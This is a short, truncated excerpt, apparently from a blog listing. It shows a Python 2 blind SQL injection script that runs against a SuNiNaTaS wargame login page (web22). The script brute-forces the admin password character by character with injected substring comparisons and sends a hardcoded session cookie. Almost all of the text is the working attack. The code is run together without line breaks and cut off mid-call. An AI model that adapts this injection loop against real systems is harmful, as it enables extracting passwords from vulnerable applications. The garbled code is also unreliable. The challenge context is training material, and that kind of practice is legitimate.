#blind sql injection.py1

• blind sql injection.py #http2,1)%3C%27N%27)--+&pw=adminimport urllibimport urllib2 ans =""ans2="" for i in range(1,11): for j in range(33,127) : url1 = "http://suninatas.com/Part_one/web22/web22.asp?id=admin'+and(substring(pw," url1=url1+str(i)+",1)='" url1=url1+chr(j)+"')--+&pw=1" try: #print url1; req = urllib2.Request(url1) req.add_header('cookie',"ASPSESSIONIDSSATDDSQ=EMNOHBMDIHNLAAFFOHICOODE") res = urllib2.urlop.. Language 2015. 9. 8.